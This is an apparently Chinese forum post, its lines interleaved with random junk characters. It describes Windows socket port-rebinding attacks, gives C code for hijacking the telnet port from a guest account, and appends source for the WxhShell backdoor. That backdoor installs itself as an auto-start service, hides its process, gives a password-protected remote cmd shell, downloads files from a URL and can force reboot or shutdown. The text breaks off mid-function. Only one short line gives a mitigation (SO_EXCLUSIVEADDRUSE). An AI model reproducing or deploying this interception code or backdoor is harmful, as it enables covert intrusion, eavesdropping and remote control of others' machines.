在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-5_xI)i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}~~^ZtJ\ B';>Hk saddr.sin_family = AF_INET;
YGpp:8pen %ih7Jt saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~0r.3KTl"Y QZa#iL bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
S9#N%{8P {UC<I.5X 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{)gd|JV* Rf0\CEc 这意味着什么?意味着可以进行如下的攻击:
DCzPm/#b ;)pV[3[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
c7Qa !w #|1QA3KzO 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
/F}\V
^ 7^TXlWn^G 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
18tQWI$ 9Kx:^~}20o 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
4lf36K, .%b_3s". 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=(5GU<} *vE C,) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
K2K6 EAE\Xv 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
(E(:F[.S g E+OQWu #include
qFChZ+3> #include
(Tb0PzA #include
F1*rUsRKN #include
]hVXFHrR DWORD WINAPI ClientThread(LPVOID lpParam);
yBh"qnOT int main()
y1My,
?"? {
CWsv#XOg] WORD wVersionRequested;
3Wxtxk._E DWORD ret;
SWd[iD WSADATA wsaData;
xKzFrP;/{ BOOL val;
&B0&183 SOCKADDR_IN saddr;
Y]Vc}-a(h SOCKADDR_IN scaddr;
J15T!_AW< int err;
mg/kyua^ SOCKET s;
<7]
Y\{+ SOCKET sc;
j6(IF5MqP int caddsize;
B2WX#/lgd HANDLE mt;
lj*913aFh DWORD tid;
<OfzE5 wVersionRequested = MAKEWORD( 2, 2 );
{ (,vm}iFL err = WSAStartup( wVersionRequested, &wsaData );
&+^ Y>Ke if ( err != 0 ) {
U)]natB printf("error!WSAStartup failed!\n");
pv SFp-:_ return -1;
:FpBz~!a }
; 2-kQK9 saddr.sin_family = AF_INET;
u$p|hd
d &7u
Ra1/R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>&Q. .`q tKGsrgoV saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>*xzSd?\ saddr.sin_port = htons(23);
zNJyF;3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
S*s9?
{
*sVxjZvV printf("error!socket failed!\n");
M=_CqK* return -1;
FY*0gp }
JjML!; val = TRUE;
j/|qge4 //SO_REUSEADDR选项就是可以实现端口重绑定的
o}Np}PE6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^BTNx2VHf {
/loNOutw printf("error!setsockopt failed!\n");
Y
@&nW return -1;
--)[>6)I }
@sO.g_yM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7gaC)j& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(oEA)yc| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
kcUt!PL zZiVBUmE< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
?=rh= # {
rdg1<Z ret=GetLastError();
0k<%l6Bq printf("error!bind failed!\n");
z#
B) b5 return -1;
=@l5He.]& }
3$;v# P$%N listen(s,2);
N3RwcM9+; while(1)
}cmL{S {
)6WU&0>AU8 caddsize = sizeof(scaddr);
b6BIDuRb //接受连接请求
r'?&VS-Cj sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
m:CpDxzbf if(sc!=INVALID_SOCKET)
1+iiiVbMH {
ond/e&1 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-E"o)1Pj6C if(mt==NULL)
]F!h~> {
v8N1fuP} printf("Thread Creat Failed!\n");
XWV ~6" break;
zv@o-R$l }
2Y{9Df }
5S bSz!s`$ CloseHandle(mt);
r$zXb9a|< }
ccAEN closesocket(s);
k2;yl_7 WSACleanup();
u}_q'=<\ return 0;
u e~1144 }
`mVH94{+I DWORD WINAPI ClientThread(LPVOID lpParam)
E)bP}:4V {
3kg+*]tLx SOCKET ss = (SOCKET)lpParam;
%# #
bg< SOCKET sc;
(ol 3vt unsigned char buf[4096];
~8K~@e $./ SOCKADDR_IN saddr;
|kD?^Nx long num;
lM]7@A DWORD val;
UPsh Y DWORD ret;
^+&}:9Ml //如果是隐藏端口应用的话,可以在此处加一些判断
-v]
0@jNe //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
kJ
>B) saddr.sin_family = AF_INET;
gV0ZZ"M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+dRTHz saddr.sin_port = htons(23);
?(N(8)G1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1Low[i {
r&w>+KIt printf("error!socket failed!\n");
Ghz)=3 return -1;
JdnZY.{S0 }
<?eZ9eB val = 100;
+%^D) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.u)YZN0\ {
-z@}:N-uR ret = GetLastError();
y g7z?AZ return -1;
_]NM@'e }
3ul if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mtp[] {
g6S8@b))| ret = GetLastError();
u:k#1Nn! return -1;
VrDv d }
U i;o/Z3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
qe0@tKim {
H$ v4N8D8I printf("error!socket connect failed!\n");
"dt3peH closesocket(sc);
&p*N8S8 closesocket(ss);
!Bd2$y. return -1;
l\bBc,%jt }
'#XP:nqFkK while(1)
V%+KJ}S!Z {
p?%G|Q
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
rv^j&X+EH //如果是嗅探内容的话,可以再此处进行内容分析和记录
tG6 o^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
RNPqW,B!0 num = recv(ss,buf,4096,0);
V9+7A if(num>0)
edch'H^2+P send(sc,buf,num,0);
X|b~,X%N else if(num==0)
?x:\RNB/ break;
xv
/w % num = recv(sc,buf,4096,0);
0tA+11Iu if(num>0)
.DT1Jvl send(ss,buf,num,0);
?qdG)jo= else if(num==0)
UO</4WJ break;
F3?v& }
1=s%.0 closesocket(ss);
atYm.qb closesocket(sc);
Ly3^zFW return 0 ;
=U?"# }
U,/>p=s X)Kd'6zg Yu'lD` G ==========================================================
o zv><e# H4)){\ 下边附上一个代码,,WXhSHELL
(fq>P1- .@R{T3=Q ==========================================================
!Y5O3^I=u &a O3N #include "stdafx.h"
gXG1w> #Ez>]`]TB #include <stdio.h>
~v2_vEu}JX #include <string.h>
G<$UcXg #include <windows.h>
NoV2<m$ #include <winsock2.h>
XjWoUnz #include <winsvc.h>
%U'YOE6 #include <urlmon.h>
Riw#+#r]/ )Nk^;[ #pragma comment (lib, "Ws2_32.lib")
}9jy)gF*e #pragma comment (lib, "urlmon.lib")
i9_ZK/* S=2-<R #define MAX_USER 100 // 最大客户端连接数
S.BM/M #define BUF_SOCK 200 // sock buffer
J-hP4t&x #define KEY_BUFF 255 // 输入 buffer
@2]_jW #R@{Bu=C #define REBOOT 0 // 重启
:FB#,AOa_ #define SHUTDOWN 1 // 关机
1)vdM(y3j uEH&]M>d_ #define DEF_PORT 5000 // 监听端口
!XQG1!|ww YcT!`B #define REG_LEN 16 // 注册表键长度
UV$v:>K# #define SVC_LEN 80 // NT服务名长度
: >4{m) h`,dg%J*B // 从dll定义API
7$k[cL1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
6;k#|-GU& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l}># p'$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\-gZ_>) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
t=Tu-2,k rXdI`l# // wxhshell配置信息
I HgYgn struct WSCFG {
lt[{u$ int ws_port; // 监听端口
yuWoz*:t char ws_passstr[REG_LEN]; // 口令
~bhesWk8! int ws_autoins; // 安装标记, 1=yes 0=no
'/G.^Zl9 char ws_regname[REG_LEN]; // 注册表键名
.|;`qUo char ws_svcname[REG_LEN]; // 服务名
]z;%%'gW6 char ws_svcdisp[SVC_LEN]; // 服务显示名
tgKmCI char ws_svcdesc[SVC_LEN]; // 服务描述信息
7g[T#B'/x, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
HI*xk int ws_downexe; // 下载执行标记, 1=yes 0=no
G$<FQDvs char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]^uO3!+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:D`ghXj 17
Hdj };
i!@L`h!rw B0T[[%~3M // default Wxhshell configuration
VnAJOR7lrx struct WSCFG wscfg={DEF_PORT,
!c(B c^ "xuhuanlingzhe",
l1fP@| 1,
aOFF"(]Cl "Wxhshell",
S;[9
hI+ "Wxhshell",
F
0q#. "WxhShell Service",
VQI "Wrsky Windows CmdShell Service",
Pfj{TT.#L "Please Input Your Password: ",
Ii_X^)IL( 1,
21_>|EKp "
http://www.wrsky.com/wxhshell.exe",
I"eXoqh "Wxhshell.exe"
zc%#7"FM };
)/A IfH 4IuQQ // 消息定义模块
I'%vN^e^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
tQ=M=BPZ char *msg_ws_prompt="\n\r? for help\n\r#>";
Nz %{T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
F?TxViL char *msg_ws_ext="\n\rExit.";
C%}}~Y char *msg_ws_end="\n\rQuit.";
B/hL char *msg_ws_boot="\n\rReboot...";
o[pv.:w char *msg_ws_poff="\n\rShutdown...";
rP Wn char *msg_ws_down="\n\rSave to ";
="hh=x.5J #&a-m,Y$sx char *msg_ws_err="\n\rErr!";
!B_i~Rmg char *msg_ws_ok="\n\rOK!";
\WKly Vw0cf; char ExeFile[MAX_PATH];
d#6'dKV$ int nUser = 0;
[9| 8p$ HANDLE handles[MAX_USER];
#
Un>g4>Rh int OsIsNt;
9un* 1% qP@d)XRQ SERVICE_STATUS serviceStatus;
+c$]Q-( SERVICE_STATUS_HANDLE hServiceStatusHandle;
L>VZ-j QwPLy O // 函数声明
%v
0 I;t int Install(void);
GZXBzZ} int Uninstall(void);
S3EM6 `q' int DownloadFile(char *sURL, SOCKET wsh);
c@H:?s!0R int Boot(int flag);
*[K\_F?^h void HideProc(void);
Rrh?0qWs int GetOsVer(void);
;T6{J[
h int Wxhshell(SOCKET wsl);
l+g\xUP void TalkWithClient(void *cs);
KZ_d..l*W int CmdShell(SOCKET sock);
<,/k"Y= int StartFromService(void);
x|C[yu^c int StartWxhshell(LPSTR lpCmdLine);
M\\t)=q c4Q{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
WrWJ!
VOID WINAPI NTServiceHandler( DWORD fdwControl );
~gU.z6us ]r++YIg!j // 数据结构和表定义
,9jq
@_ SERVICE_TABLE_ENTRY DispatchTable[] =
1 ?X(q {
K6"#&0 {wscfg.ws_svcname, NTServiceMain},
\z'A6@ {NULL, NULL}
qIE e7;DO };
X]up5tk~ EAiE@r>4 // 自我安装
Z|zyO- int Install(void)
[>+}2-# {
ND);7 char svExeFile[MAX_PATH];
29eg.E HKEY key;
qbu>YTj strcpy(svExeFile,ExeFile);
0a<:.} 9v[cy` \ // 如果是win9x系统,修改注册表设为自启动
:9`'R0=i^ if(!OsIsNt) {
(Uk1Rt*h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xRum q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
XP#j9CF#. RegCloseKey(key);
g
)H>Uu5@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
iaShxoIV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
b(@[Y(_R RegCloseKey(key);
r0
%WGMk2 return 0;
BGAqg=nDV }
We7~tkl( }
NyHHK8> }
o)w8 ]H/ else {
2Eq?^ )s Bl,rvk2 // 如果是NT以上系统,安装为系统服务
\)H} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
SCbN(OBN! if (schSCManager!=0)
xDRNt Lj<u {
m~KGB" SC_HANDLE schService = CreateService
9Z! j (
LR :Qb]|" schSCManager,
R7'a/ wscfg.ws_svcname,
4=]CA O=O wscfg.ws_svcdisp,
"6.JpUf SERVICE_ALL_ACCESS,
<hG=0Zc r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Q_p!;3 SERVICE_AUTO_START,
Ie 3
F SERVICE_ERROR_NORMAL,
5_4Y/2_| svExeFile,
8<cD+Jtj NULL,
8
1Ar.< NULL,
8)(<U/ NULL,
*.g0;\HF NULL,
!'-K>.B NULL
REd"}zDI );
f? sW^d; if (schService!=0)
] r8
hMv {
:H}a/ x*ur CloseServiceHandle(schService);
lTNfTO^ CloseServiceHandle(schSCManager);
j\V9o9D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Q/e$Ttt4J strcat(svExeFile,wscfg.ws_svcname);
R-v99e iN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
BIx Z4Ft RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
iUcDj: RegCloseKey(key);
WU}?8\?U% return 0;
g[P.lpi{U }
,^dyS]!d$ }
JN5<=x5r CloseServiceHandle(schSCManager);
JXR_klx }
99T_y`df }
n}8J-/(|+ ~=W|I:@ return 1;
?sb
Ob }
9Q
4m9} W/dl`UDY // 自我卸载
eQBR*@x int Uninstall(void)
Nr.maucny {
fV[(s7vW HKEY key;
:*GLLjS; &@E{0ZD if(!OsIsNt) {
-7_`6U2" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Aj`zT' RegDeleteValue(key,wscfg.ws_regname);
_sU| <1 RegCloseKey(key);
0>#or$:6E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sS$"6 RegDeleteValue(key,wscfg.ws_regname);
*&VH!K#@{ RegCloseKey(key);
FC)aR[ return 0;
M)-+j{< }
H!s &]b }
u2BVQ<SA }
!O $EVl else {
bup;4~g '2#O{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
qwVpGNc45 if (schSCManager!=0)
Q=>@:1= {
7';PI!$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<0Q`:'\.> if (schService!=0)
p+yU!Qj {
A$%%;O if(DeleteService(schService)!=0) {
Hk.+1^?% CloseServiceHandle(schService);
J9>uLz CloseServiceHandle(schSCManager);
N/^r9Nu return 0;
<5q:mG88 }
("IRv>} 0 CloseServiceHandle(schService);
"iOT14J!7 }
8=<d2u' CloseServiceHandle(schSCManager);
=Y
/ }
@8DA }
w^P4_Yr[T l|\Q~ D!o return 1;
iPI6 _h }
]<{BDXIGIE >Rx^@yQ!+z // 从指定url下载文件
'{Iv?gh" int DownloadFile(char *sURL, SOCKET wsh)
L?0dZY-" {
~
]o .Mv a HRESULT hr;
Qt!l-/flh char seps[]= "/";
1<ZvHv char *token;
a o\+%s char *file;
^Cpvh}1# char myURL[MAX_PATH];
.4.zy]I char myFILE[MAX_PATH];
|A}E/=HPU |67<h5Q1 strcpy(myURL,sURL);
2hu;N token=strtok(myURL,seps);
zFwp$K>{QY while(token!=NULL)
P ,5P6Y9 {
[o\O^d file=token;
X[BKF8, token=strtok(NULL,seps);
rzEE | }
.hBE&Y>\ h6la+l?x GetCurrentDirectory(MAX_PATH,myFILE);
b pExYyt strcat(myFILE, "\\");
c7P"1 strcat(myFILE, file);
UiF ?Nx~ send(wsh,myFILE,strlen(myFILE),0);
+7d%)t send(wsh,"...",3,0);
u;;]S!:M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n%W~+ if(hr==S_OK)
@yS return 0;
qdNYY&6>?u else
`'.u$IBW return 1;
;lnh;0B 9`QWqu[ }
zeNvg/LI^ fg+Q7'*Vq // 系统电源模块
jK3% \`o int Boot(int flag)
Kh'/Ne? {
[6)`wi HANDLE hToken;
X=mzo\Aos TOKEN_PRIVILEGES tkp;
DRj\i6-v z(K[i?& if(OsIsNt) {
7*~
rhQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>mi%L3Pk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
oq(um:m tkp.PrivilegeCount = 1;
,/ly|Dv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
q2Ax-# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!+=jD3HTJ if(flag==REBOOT) {
2*F["E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8yA: C return 0;
Z?O aY4 }
Xc"S"a^\% else {
]aXCi"fMs if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
r,!7TuBl return 0;
j'#W)dp( }
k2_ " }
-=s7Q{O8Z else {
Dwe_ytjpc if(flag==REBOOT) {
G@BF<e{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`BdZqXKG return 0;
Xu3o,k }
AhiZ0W" else {
|j#x}8[( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
6Z\[{S]; return 0;
@;"HslU\Q }
]SFB_5Gb }
/E@LnKe .3Jggp return 1;
l5l:'EY> }
qXn%c" zQV$!%qR // win9x进程隐藏模块
3^xTZ*G void HideProc(void)
s>9w+|6Ji {
ahU\(= @=E@
*@g HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Z6
E-FuO if ( hKernel != NULL )
&D\~-fOGb {
t.v@\[{- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1;i[H[hNY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
jt@k<#h~ FreeLibrary(hKernel);
#f5-f }
2v0lWO~c7z M@[{j return;
#6[FGM }
Ia*eb%HG L0/0<d(K // 获取操作系统版本
WFocA: int GetOsVer(void)
wv|:-8V {
KA#4iu{ OSVERSIONINFO winfo;
Z,.*!S=?h winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
rQC{"hS1 GetVersionEx(&winfo);
FZ
DC? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
qY]IX9'kV return 1;
Nc()$Nl8 else
1C6H\; return 0;
Q+*o- }
Z)Nl\e& M )f>s\T // 客户端句柄模块
SWvy<f4< int Wxhshell(SOCKET wsl)
0%7c?3# {
+e. bO5Y SOCKET wsh;
]i3 2-8% struct sockaddr_in client;
gmB?L0UV DWORD myID;
*IJctYJaX |d?0ZA:z while(nUser<MAX_USER)
7_)'Re# {
*q{/`Z{wy int nSize=sizeof(client);
'9>z4G*Td wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
M]oO1GM if(wsh==INVALID_SOCKET) return 1;
!U>711$ t5G@M&d4Eo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
id8a#&t] if(handles[nUser]==0)
ABvB1[s# closesocket(wsh);
W]{mEB else
T52A}vf4 nUser++;
tbrjTeC }
'z0@|a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
WBLfxr ,.6Hh'^65^ return 0;
/xj^TyWM }
2JwR?<n{ T},Nqt< // 关闭 socket
rwGY )9| void CloseIt(SOCKET wsh)
D'2&'7-sm\ {
w?|gJ*B" closesocket(wsh);
y[BUWas( nUser--;
1nhC! jDD ExitThread(0);
xH#R_ }
^noKk6Aaa gF+Uj( d // 客户端请求句柄
:
&>PN,q> void TalkWithClient(void *cs)
`?{i dg {
gF,9Kv~ i7v> 9p7 SOCKET wsh=(SOCKET)cs;
?(UeWLC# char pwd[SVC_LEN];
(9$z+Zmm? char cmd[KEY_BUFF];
& F\HR char chr[1];
c L}}^ int i,j;
YYwFjA@ ^=Q/H while (nUser < MAX_USER) {
`3m7b!0k qKag'0e if(wscfg.ws_passstr) {
*f{\ze@5= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
yU]NgG=z:- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
NK.] yw' //ZeroMemory(pwd,KEY_BUFF);
&6V[@gmD
i=0;
'r3yFoP} while(i<SVC_LEN) {
|tF:]jnIt ?o307r // 设置超时
*\><MXx fd_set FdRead;
a~jU~('4}w struct timeval TimeOut;
}wZ9#Ll FD_ZERO(&FdRead);
`5,46_ FD_SET(wsh,&FdRead);
;zk& 7P0 TimeOut.tv_sec=8;
w@,Yj#_9cx TimeOut.tv_usec=0;
NbnahhS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
KG7 ~)g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
G+&ug`0]5 .)J7 \z8m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/Ilve
U`E pwd
=chr[0]; WrJgU&H{
if(chr[0]==0xd || chr[0]==0xa) { p,#t[K
pwd=0; t+7|/GLs2
break; W6STjtT3P
} Uj]Tdg
i++; ?}p~8{ '
} x~3N})T5
S~L;oX?(!
// 如果是非法用户,关闭 socket ]34fG3D|
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~^Ceru"<
} ZbBz@1O
qaE>])
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |7XPu
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $#2zxpr,
r:rM~``
while(1) { \piB*"ln
Gs`[\<;LI
ZeroMemory(cmd,KEY_BUFF); \0bao<
\m Gx-g6
// 自动支持客户端 telnet标准 N>a. dYXr
j=0; (x)}k&B;
while(j<KEY_BUFF) { 8kn> ?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YF)uAJ Ak
cmd[j]=chr[0]; OO$YwOKS
if(chr[0]==0xa || chr[0]==0xd) { M{(g"ha
cmd[j]=0; u?Pec:3%
break; [Q0n-b,Q
} UYLCzv~W
j++; ohLM9mc9
} C_5o&O8Bc
N+0[p@0
// 下载文件 ([g[\c,H
if(strstr(cmd,"http://")) { <I
5F@pe'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); v,}Mn7:
if(DownloadFile(cmd,wsh)) )~>
C1<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `#g62wb,HY
else ;*J_V/&?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +mu.W
r
} Fy6(N{hql
else { frh!dN
6y0CEly>3#
switch(cmd[0]) { ;#)vw;XR
t ZL|;K
// 帮助 Z=KHsMnB
case '?': { fo$s9g^<
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TWU[/>K
break; f)_k_ <
} fK
4,k:YC
// 安装 ;#/Uo8
case 'i': { ?S8_x]E
if(Install()) , tEd>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r9
5hW
else [<nmJ-V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <(E9U.
break; y$,j'B:;4m
} ABIQi[A
// 卸载 lj US-6
case 'r': { Z@ dS,M*
if(Uninstall()) xoB "hNIX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EYy|JT]B
else ^1\[hyZ!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i6-&$<
break; uS|f|)U&
} IM(=j
// 显示 wxhshell 所在路径 Ly_.%f
case 'p': { Xw'Y
&!z
char svExeFile[MAX_PATH]; gw^X -
strcpy(svExeFile,"\n\r"); Rq[VP#
strcat(svExeFile,ExeFile); CkeqK
send(wsh,svExeFile,strlen(svExeFile),0); .a_xQ]eQ
break; (GJX[$@
} b8O }XB
// 重启 Cj10?BNV)
case 'b': { '{F
Od_uk%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1
F+$\fLr
if(Boot(REBOOT)) =vD}O@tN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @"vTz8oY@
else { +9NI=s6
closesocket(wsh); OlcWptM$
ExitThread(0); cHw-;
} BnPL>11Y
break; dMDSyd<(
} pP^"p"<s
// 关机 Lv<)Dur0K
case 'd': { gMB/ ~g5b0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *<l9d
if(Boot(SHUTDOWN)) fK1^fzV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $[HpY)MSRw
else { `\Hs{t]
closesocket(wsh); Zoyo:vv&
ExitThread(0); 8
huB<^
} 40Z/;,wp{
break; Mb\[` 4z
} F9 4Qb}
// 获取shell kOLS<>.
case 's': { QMBV"E_aY
CmdShell(wsh); F^}n7h=qk
closesocket(wsh); gt:Ot0\7
ExitThread(0); nk+*M9r|I
break; I.L8A|nZ
} bl-t>aO*.V
// 退出 O\[Td
case 'x': { Oo`b#!L
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rss=ihlM
CloseIt(wsh); Dwi[aC+k
break; *l\vqgv.Z
} J6*B=PX=(
// 离开 CJ
9tO#R
case 'q': { jHWJpm(
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
G##^xFx
closesocket(wsh); _=oNQ
WSACleanup(); zFk@Y
exit(1); EL=}xug,?
break; K#],4OG
} ^_^rI+cTX1
} ne\N1`AU
} D$[/|%3
u#m(Py
// 提示信息 gHzjI[WI
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4uUR2J
} Cb/?hT
} c&T14!lfn
&5u[q
return; JI}p{yI
} `[J(au$z
4D\+_Ic3
// shell模块句柄 Pf]O'G&F
int CmdShell(SOCKET sock) sP NAG
{ wOp# mT
STARTUPINFO si; umWZ]8
ZeroMemory(&si,sizeof(si)); 6@HY+RCx
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,`JXBI~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +/Lf4??JV
PROCESS_INFORMATION ProcessInfo; Eh)VU_D
char cmdline[]="cmd"; SEXLi8;/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7#R&
OQ
return 0; {l7@<xZ??M
} (d C<N3
_(\\>'1q!
// 自身启动模式 sE8.,\
int StartFromService(void) aUy=D:\
{ ]41G!'E=
typedef struct B&m?3w
{ &xqe8!FeA
DWORD ExitStatus; xIo7f
DWORD PebBaseAddress; EN%Xs578
DWORD AffinityMask; xUD$i?3z
DWORD BasePriority; 5W!E.fz*T
